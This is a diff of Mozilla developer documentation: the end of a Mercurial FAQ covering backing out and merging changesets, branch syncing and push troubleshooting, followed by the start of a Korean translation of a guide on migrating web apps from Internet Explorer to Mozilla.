+| o |  bb200e1f52b4 - Jonas Sicking &lt;<a class="link-mailto" href="mailto:jonas@sicking.cc" rel="freelink">jonas@sicking.cc</a>&gt; - Bug 550959: Require version 2.5 of python. r=ted a=sicking
+| | |
+| o |  992491c618de - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (12/12): fix assertions in nsStyleAnimation triggered by part 3.  r=dbaron  a2.0=dbaron
+| | |
+| o |  2f078585a0f6 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (11/12): Make all assertions fatal in Declaration.h, Declaration.cpp, nsCSSDataBlock.h, nsCSSDataBlock.cpp, nsCSSValue.h, nsCSSValue.cpp, nsCSSProps.h, and nsCSSProps.cpp.  r=dbaron  a2.0=dbaron
+| | |
+| o |  5a9bd15fd7a8 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (10/12): Don't directly manipulate the contents of mTempData in the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+| o |  4bb2e0074aeb - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (9/12): Add an AddLonghandProperty method to nsCSSExpandedDataBlock.  r=dbaron  a2.0=dbaron
+| | |
+| o |  659a0864e035 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (8/12): remove the last MoveValue call from the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+| o |  980f0170d982 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (7/12): cleanup pass on css/Declaration.{h,cpp} and nsCSSDataBlock.{h,cpp}.  r=dbaron  a2.0=dbaron
+| | |
+| o |  f09c1638d3c1 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (6/12): remove vestiges of nsCSSType.  r=dbaron  a2.0=dbaron
+| | |
+| o |  b88472b0af90 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (5/12): eliminate ValueList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  a3e21759b570 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (4/12): eliminate ValuePairList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  ed89c9e297ab - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (3/12): eliminate Rect as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  4fc85e572c38 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (2/12): eliminate ValuePair as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+| o |  301875d4f9b6 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (1/12): Move all the CSS 'storage types' (rect, value pair, etc) to nsCSSValue.h and their code to nsCSSValue.cpp.  r=dbaron  a2.0=dbaron
+|/ /
+o |  90ad165ae21b - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part i: Use nsIWidget::CreateChild in nsIView::CreateWidget* (where possible). r=roc a=blocking-fennecb1
+| |
+o |  037a5d6b376a - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part h: Add an nsIWidget::CreateChild interface to sweep (relevant to this bug) code dealing with native widgets under the widget/src/* rug. sr=roc
+| |
+o |  f1af117d4598 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part g: Split nsIView::CreateWidget into CreateWidget, CreateWidgetForParent, and CreateWidgetForPopup in preparation of eliminating IIDs here. sr=roc
+| |
+o |  5bf0b315a5aa - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part f: Split out window initialization code in preparation for multiple CreateWidget* methods. r=roc
+| |
+o |  353da995af6f - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part e: Simplify the logic for creating popup widgets. r=roc
+| |
+o |  7735c00eabe9 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part d: Simplify nsView::LoadWidget and return early if it fails. r=roc
+| |
+o |  7b17bcefb174 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part c: Initialize default widget init data earlier so that it's always available. r=roc
+| |
+o |  c5945b6a97ed - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part b: Remove nsIDeviceContext::SupportsNativeWidgets because it's not used meaningfully, and will be confusing in content processes. sr=roc
+| |
+o |  5452db293694 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part a: Add nsIView::Impl() and nsView::CreateWidget() to get rid of |static_cast&lt;nsview*&gt;(this)|. r=roc
+| |
+o |  9407827b5166 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582075, part 0.5: Add support for aInitData=NULL to the Windows nsWindow implementation. r=dougt
+| |
+o |  88a279b64473 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part 0: Log the repaint region bounding rect in DumpPaintEvent. r=roc
+| |
+o |  cebb111fbfc4 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 3: Remove nsSVGUtils::GetThebesComputationalSurface and use gfxPlatform::ScreenReferenceSurface instead. r=jwatt
+| |
+o |  7b3726c3a580 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 2: Change nsIPresShell::CreateRenderingContext to GetReferenceRenderingContext, that uses the shared 1x1 surface, and use it all over the place. r=mats,sr=dbaron
+| |
+o |  b3e968d831ec - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 1: Create a single static 1x1 surface in gfxPlatform that can be used to create contexts for text measurement etc. r=vlad
+| |
+o |  55ef0e0529bc - Mounir Lamouri &lt;<a class="link-mailto" href="mailto:mounir.lamouri@gmail.com" rel="freelink">mounir.lamouri@gmail.com</a>&gt; - Bug 506554 - Implement the CSS3 pseudo-classes :required and :optional for HTML. r=sicking sr=bz a2.0=blocking
+| |
+&lt;/int&gt;&lt;/int&gt;</pre>
+<p>We want to merge with those probably-good changesets. Note that if any of those probably-good changesets touched code you backed out, you'll need to resolve merge conflicts.</p>
+<pre class="eval">$ hg merge $MERGE_TO
+92 files updated, 0 files merged, 2 files removed, 0 files unresolved
+(branch merge, don't forget to commit)
+$ hg commit -m 'Merge backout'
+</pre>
+<p>OK, good to go. Your tree should look something like</p>
+<pre class="eval">@    8fccc434c295 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Merge backout
+|\
+| o  1767c1fb9418 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Back out bug 585817 and bug 582057
+| |
+o |  c6abfc89215a - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 485288 - Replace all usage of video  autobuffer attribute with preload=auto. a=test-fix
+| |
+o |  d6e8fddeb95b - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Disable test_preload_actions.html case 9 until bug 568402 is fixed. a=test-fix
+| |
+o |  571d2664ead0 - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Don't show throbber on video controls if we're not loading a resource. r=dolske a=blocking2.0
+| |
+o |  3f7dfabab5e4 - Rich Dougherty &lt;<a class="link-mailto" href="mailto:rich@rd.gen.nz" rel="freelink">rich@rd.gen.nz</a>&gt;, Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 548523 - Replace HTMLMediaElement.autobuffer attribute with 'preload'. r=roc a=blocking2.0
+| |
+o |  d7d9cf4ab76a - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Bug 519897 - Supported indexed Ogg files. r=doublec
+| |
+o |    2a0e5811ece9 - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Commit merge of backout of 66dcf25705f9. a=backout
+|\ \
+| o |  958a30df30dd - Chris Pearce &lt;<a class="link-mailto" href="mailto:chris@pearce.org.nz" rel="freelink">chris@pearce.org.nz</a>&gt; - Backed out changeset 66dcf25705f9
+| | |
+o | |  6eead86e13dd - Michael Wu &lt;<a class="link-mailto" href="mailto:mwu@mozilla.com" rel="freelink">mwu@mozilla.com</a>&gt; - Bug 556644 - Yet another removed-files.in update, r=rs a=blocking-beta5
+| | |
+o | |  69c6ce104f45 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 588216: Avoid race between IO-thread loop-&gt;PostTask() and main-thread loop-&gt;SetNestableTasksAllowed() that led to Tasks being ignored. r=bent
+| | |
+o | |  73899b33ca4b - Ben Turner &lt;<a class="link-mailto" href="mailto:bent.mozilla@gmail.com" rel="freelink">bent.mozilla@gmail.com</a>&gt; - Bug 576716 - 'Crash [@ TypedArrayTemplate&lt;int&gt;::init] or [@ TypedArrayTemplate&lt;int&gt;::create]'. Adding a test, r=vlad a=blocker
+| | |
+o | |  3bd62d459019 - Mark Banner &lt;<a class="link-mailto" href="mailto:bugzilla@standard8.plus.com" rel="freelink">bugzilla@standard8.plus.com</a>&gt; - Follow up to bug 587984 bustage fix for l10n repacks. r=Pike,ted,a=bustage-fix
+| | |
+o | |  e1ca9091e5a6 - Benjamin Stover &lt;<a class="link-mailto" href="mailto:webapps@stechz.com" rel="freelink">webapps@stechz.com</a>&gt; - Bug 575731: Make test more stable in the face of various themes. r,a=sicking
+| | |
+o | |  bb200e1f52b4 - Jonas Sicking &lt;<a class="link-mailto" href="mailto:jonas@sicking.cc" rel="freelink">jonas@sicking.cc</a>&gt; - Bug 550959: Require version 2.5 of python. r=ted a=sicking
+| | |
+o | |  992491c618de - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (12/12): fix assertions in nsStyleAnimation triggered by part 3.  r=dbaron  a2.0=dbaron
+| | |
+o | |  2f078585a0f6 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (11/12): Make all assertions fatal in Declaration.h, Declaration.cpp, nsCSSDataBlock.h, nsCSSDataBlock.cpp, nsCSSValue.h, nsCSSValue.cpp, nsCSSProps.h, and nsCSSProps.cpp.  r=dbaron  a2.0=dbaron
+| | |
+o | |  5a9bd15fd7a8 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (10/12): Don't directly manipulate the contents of mTempData in the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+o | |  4bb2e0074aeb - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (9/12): Add an AddLonghandProperty method to nsCSSExpandedDataBlock.  r=dbaron  a2.0=dbaron
+| | |
+o | |  659a0864e035 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (8/12): remove the last MoveValue call from the CSS parser.  r=dbaron  a2.0=dbaron
+| | |
+o | |  980f0170d982 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (7/12): cleanup pass on css/Declaration.{h,cpp} and nsCSSDataBlock.{h,cpp}.  r=dbaron  a2.0=dbaron
+| | |
+o | |  f09c1638d3c1 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (6/12): remove vestiges of nsCSSType.  r=dbaron  a2.0=dbaron
+| | |
+o | |  b88472b0af90 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (5/12): eliminate ValueList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o | |  a3e21759b570 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (4/12): eliminate ValuePairList as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o | |  ed89c9e297ab - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (3/12): eliminate Rect as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o | |  4fc85e572c38 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (2/12): eliminate ValuePair as a storage type.  r=dbaron  a2.0=dbaron
+| | |
+o---+  301875d4f9b6 - Zack Weinberg &lt;<a class="link-mailto" href="mailto:zweinberg@mozilla.com" rel="freelink">zweinberg@mozilla.com</a>&gt; - Bug 576044 (1/12): Move all the CSS 'storage types' (rect, value pair, etc) to nsCSSValue.h and their code to nsCSSValue.cpp.  r=dbaron  a2.0=dbaron
+ / /
+| o  90ad165ae21b - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part i: Use nsIWidget::CreateChild in nsIView::CreateWidget* (where possible). r=roc a=blocking-fennecb1
+| |
+| o  037a5d6b376a - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part h: Add an nsIWidget::CreateChild interface to sweep (relevant to this bug) code dealing with native widgets under the widget/src/* rug. sr=roc
+| |
+| o  f1af117d4598 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part g: Split nsIView::CreateWidget into CreateWidget, CreateWidgetForParent, and CreateWidgetForPopup in preparation of eliminating IIDs here. sr=roc
+| |
+| o  5bf0b315a5aa - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part f: Split out window initialization code in preparation for multiple CreateWidget* methods. r=roc
+| |
+| o  353da995af6f - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part e: Simplify the logic for creating popup widgets. r=roc
+| |
+| o  7735c00eabe9 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part d: Simplify nsView::LoadWidget and return early if it fails. r=roc
+| |
+| o  7b17bcefb174 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part c: Initialize default widget init data earlier so that it's always available. r=roc
+| |
+| o  c5945b6a97ed - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part b: Remove nsIDeviceContext::SupportsNativeWidgets because it's not used meaningfully, and will be confusing in content processes. sr=roc
+| |
+| o  5452db293694 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part a: Add nsIView::Impl() and nsView::CreateWidget() to get rid of |static_cast&lt;nsview*&gt;(this)|. r=roc
+| |
+| o  9407827b5166 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582075, part 0.5: Add support for aInitData=NULL to the Windows nsWindow implementation. r=dougt
+| |
+| o  88a279b64473 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Bug 582057, part 0: Log the repaint region bounding rect in DumpPaintEvent. r=roc
+| |
+| o  cebb111fbfc4 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 3: Remove nsSVGUtils::GetThebesComputationalSurface and use gfxPlatform::ScreenReferenceSurface instead. r=jwatt
+| |
+| o  7b3726c3a580 - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 2: Change nsIPresShell::CreateRenderingContext to GetReferenceRenderingContext, that uses the shared 1x1 surface, and use it all over the place. r=mats,sr=dbaron
+| |
+| o  b3e968d831ec - Robert O'Callahan &lt;<a class="link-mailto" href="mailto:roc@ocallahan.org" rel="freelink">roc@ocallahan.org</a>&gt; - Bug 585817. Part 1: Create a single static 1x1 surface in gfxPlatform that can be used to create contexts for text measurement etc. r=vlad
+| |
+| o  55ef0e0529bc - Mounir Lamouri &lt;<a class="link-mailto" href="mailto:mounir.lamouri@gmail.com" rel="freelink">mounir.lamouri@gmail.com</a>&gt; - Bug 506554 - Implement the CSS3 pseudo-classes :required and :optional for HTML. r=sicking sr=bz a2.0=blocking
+| |
+$ hg out
+comparing with <a class="external" href="http://hg.mozilla.org/mozilla-central" rel="freelink">http://hg.mozilla.org/mozilla-central</a>
+searching for changes
+1767c1fb9418 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Back out bug 585817 and bug 582057
+8fccc434c295 - Chris Jones &lt;<a class="link-mailto" href="mailto:jones.chris.g@gmail.com" rel="freelink">jones.chris.g@gmail.com</a>&gt; - Merge backout
+&lt;/int&gt;&lt;/int&gt;
+</pre>
+<h2 id="Help" name="Help">Maintaining a branch of mozilla-central</h2>
+<p>Let foo be the project you are working on. We assume that the project directory will be <a class="external" href="http://hg.mozilla.org/projects/foo" rel="freelink">http://hg.mozilla.org/projects/foo</a> and is a branch of mozilla-central. We also assume that you want to push some patches on foo and periodically synchronize both repositories.</p>
+<h3 id="Modify_hgrc">Modify hgrc</h3>
+<p>To make things simpler, you can modify the hgrc file in the repository. You can find it here: /path/to/repository/.hg/hgrc</p>
+<p>Change it to:</p>
+<pre>[paths]
+default = http://hg.mozilla.org/projects/foo
+m-c = ssh://hg.mozilla.org/mozilla-central
+default-push = ssh://hg.mozilla.org/projects/foo
+</pre>
+<h3 id="Synchronize_mozilla-central_and_foo_project">Synchronize mozilla-central and foo project</h3>
+<p>You can push to foo as you would push to any repository but you might want to keep in sync both repositories. To do that, you can run these commands:</p>
+<pre>hg pull -u   # Get all the changes to foo in your repo.
+hg pull m-c  # Get all the changes to mozilla-central in your repo.
+hg merge     # Here, the things might be complex and would need extra carefulness.
+# resolve merge conflicts, if any
+hg commit -m "Merge foo with mozilla-central."
+hg push      # Push the merge to foo.
+hg push m-c  # Push the changes to mozilla-central.
+</pre>
+<h2 id="Help" name="Help">Help</h2>
+<h3 id="Help.2C_I_can.27t_push.21" name="Help.2C_I_can.27t_push.21">Help, I can't push!</h3>
+<p>If you're trying to push, and you can't, first try this:</p>
+<pre class="eval">$ ssh hg.mozilla.org
+</pre>
+<p>If you see output like:</p>
+<pre class="eval">Permission denied (publickey,gssapi-with-mic).
+</pre>
+<p>it may have the following reasons:</p>
+<ul>
+  <li>you need to <a href="#How_do_I_check_stuff_in.3F">configure your username correctly</a></li>
+  <li>you don't have the correct private key in ~/.ssh</li>
+  <li>you don't have an hg.mozilla.org account. (If you should have one, <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org">file a bug</a> in mozilla.org:Server Operations.)</li>
+</ul>
+<p>If you see output like:</p>
+<pre class="eval">You are not allowed to use this system, go away!
+</pre>
+<p>then you need to <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org">file a bug</a> in mozilla.org:Server Operations.</p>
+<p>You should expect the ssh command to disconnect you immediately, since you're not supposed to have shell access. It may give the output:</p>
+<pre class="eval">Could not chdir to home directory : No such file or directory
+</pre>
+<p>which is harmless (although some people see it and some people don't).</p>
+<p>If you see output like:</p>
+<pre class="eval">ssl required
+</pre>
+<p>then you need to <a href="#How_do_I_check_stuff_in.3F">configure your default-push correctly</a>.</p>
+<h2 id="Things_that_have_changed" name="Things_that_have_changed">Branch merges</h2>
+<p>As part of the rapid release process, the contents of e.g. mozilla-aurora and mozilla-beta are subject to merge events that happen according to the planned branch migration dates. After a branch merge event occurred, if you attempt to use "hg update" in your local tree, you may get error messages such as "abort: crosses branches". In order to fix it, first make sure you don't have local changes, then run "hg update -C -r default".</p>
+<h2>Other</h2>
+<h3 id="What's_the_difference_between_hg_pull_and_hg_update.3F">What's the difference between hg pull and hg update?</h3>
+<p><img alt="hg-diagram.png" class="internal default" src="/@api/deki/files/3040/=hg-diagram.png" style="margin-left: 50px; margin-top: 20px; width: 405px; height: 222px;"></p>
+<p><code>hg pull</code> copies changesets from one repository to another.  It only brings changes into your local <em>repository</em>, not your working copy.  It will touch the network if you're pulling from a remote repository.</p>
+<p><code>hg update</code> updates your working copy.  It only modifies your working copy.  It will not touch the network (unless your directory is on a network filesystem).</p>
+<h3 id="How_does_Mercurial_handle_line_endings.3F" name="How_does_Mercurial_handle_line_endings.3F">How does Mercurial handle line endings?</h3>
+<p>The Windows version of Mercurial does not automatically convert line endings between Windows and Unix styles. All our repositories use Unix line endings. We need a story for Windows, but right now I have no ideas.</p>
+<p>(How about a pre-commit hook that rejects pushes containing CR with a suitably informative error message? We possibly want to make exceptions for certain types of files (at least binary files of course), but we can tweak the hook as necessary as these crop up. Mercurial 1.0 adds a standard hook for this in the win32text extension that we could use/adapt. --jwatt)</p>
+<h2 id="Things_that_have_changed" name="Things_that_have_changed">See Also</h2>
+<ul>
+  <li><a class="link-https" href="https://mxr.mozilla.org/mozilla-central/" title="https://mxr.mozilla.org/mozilla-central/">Search mozilla-central code using MXR</a></li>
+  <li>See also <a href="/en/Mercurial//Desired_Features" title="en/Mercurial//Desired_Features">Mercurial/Desired Features</a></li>
+  <li><a href="/en/Mozilla/Mercurial/How_Is_Mercurial_different_from_CVS" title="en/Mozilla/Mercurial/How_Is_Mercurial_different_from_CVS">How Is Mercurial different from CVS?</a></li>
+</ul>
+<p>{{ languages( { "es": "es/FAQ_de_Mercurial" } ) }}</p>
diff --git a/files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html b/files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html
new file mode 100644
index 0000000000..dfec60681c
--- /dev/null
+++ b/files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html
@@ -0,0 +1,1058 @@
+---
+title: Migrate apps from Internet Explorer to Mozilla
+slug: Migrate_apps_from_Internet_Explorer_to_Mozilla
+tags:
+  - Web Development
+translation_of: Archive/Mozilla/Migrate_apps_from_Internet_Explorer_to_Mozilla
+---
+<h3 id=".EC.86.8C.EA.B0.9C" name=".EC.86.8C.EA.B0.9C">소개</h3>
+<p>넷스케이프가 Mozilla 브라우저를 시작할때 부터 Mozilla는 W3C 표준을 지원하기로 결정되었다. 그 결과 Mozilla는 Netscape Navigator 4.x와 Microsoft Internet Explorer의 구형 코드와는 완전한 하위호환성을 가지지 못하게 되었다. 예를 들어, 뒤에서 언급하겠지만 Mozilla는 &lt;layer&gt;를 지원하지 않는다. W3C 표준의 개념 이전에 만들어진 IE 4와 같은 브라우저들은 많은 쿼크들을 물려받았다. 본 글에서는 IE와 기타 구형 브라우저들과의 강력한 HTML 하위 호환성을 제공하는 Mozilla의 쿼크 모드에 관해 알아볼 것이다.</p>
+<p>또한 XMLHttpRequest와 리치 텍스트 편집과 같은, 당시에는 W3C에 이에 상응하는 것이 존재하지 않았기 때문에 Mozilla가 지원하는 비표준 기술에 대해서도 언급하겠다. 그것은 다음을 포함한다:</p>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a>, <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a> and <a class="external" href="http://www.w3.org/TR/xhtml11/">XHTML 1.1</a></li>
+ <li>Cascade Style Sheets (CSS): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS Level 1</a>, <a class="external" href="http://www.w3.org/TR/CSS21/">CSS Level 2.1</a> and parts of <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS Level 3</a></li>
+ <li>Document Object Model (DOM): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM Level 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM Level 2</a> and parts of <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM Level 3</a></li>
+ <li>Mathematical Markup Language: <a class="external" href="http://www.w3.org/Math/">MathML Version 2.0</a></li>
+ <li>Extensible Markup Language (XML): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Namespaces in XML</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Associating Style Sheets with XML Documents 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJ%20un/att-0074/01-NOTE-FIXptr-20010425.htm">Fragment Identifier for XML</a></li>
+ <li>XSL Transformations: <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>XML Path Language: <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Resource Description Framework: <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Simple Object Access Protocol: <a class="external" href="http://www.w3.org/TR/soap">SOAP 1.1</a></li>
+ <li>ECMA-262, revision 3 (JavaScript 1.5): <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+<h3 id=".EC.9D.BC.EB.B0.98.EC.A0.81.EC.9D.B8_.ED.81.AC.EB.A1.9C.EC.8A.A4_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.BD.94.EB.94.A9_.ED.8C.81" name=".EC.9D.BC.EB.B0.98.EC.A0.81.EC.9D.B8_.ED.81.AC.EB.A1.9C.EC.8A.A4_.EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.BD.94.EB.94.A9_.ED.8C.81">일반적인 크로스 브라우저 코딩 팁</h3>
+<p>웹표준이 존재하긴 하지만, 서로다른 브라우저는 서로 다르게 작동한다. (사실, 같은 브라우저라도 플랫폼에 따라 다르게 작동한다.) IE와 같은 많은 브라우저들이 W3C 이전의 API들도 지원하며 W3C 적용 API들에 대한 확장된 지원을 추가하지 않았다.</p>
+<p>Mozilla와 IE 사이의 차이점을 논하기 전에, 추후 새로운 브라우저를 지원할 수 있도록 확장성있는 웹 어플리케이션을 만들 수 있는 기본적인 방법을 다루도록 하겠다.</p>
+<p>서로 다른 브라우저들이 가끔 같은 기능에 대해 서로 다른 API를 사용하기 때문에, 브라우저들간에 구별을 위해 코드 전반적으로 여러개의 if() else() 블록을 사용하는 것을 종종 볼 수 있다. 다음 코드는 IE를 위해 고안된 코드 블록을 보여준다.</p>
+<pre>. . .
+
+var elm;
+
+if (ns4)
+  elm = document.layers["myID"];
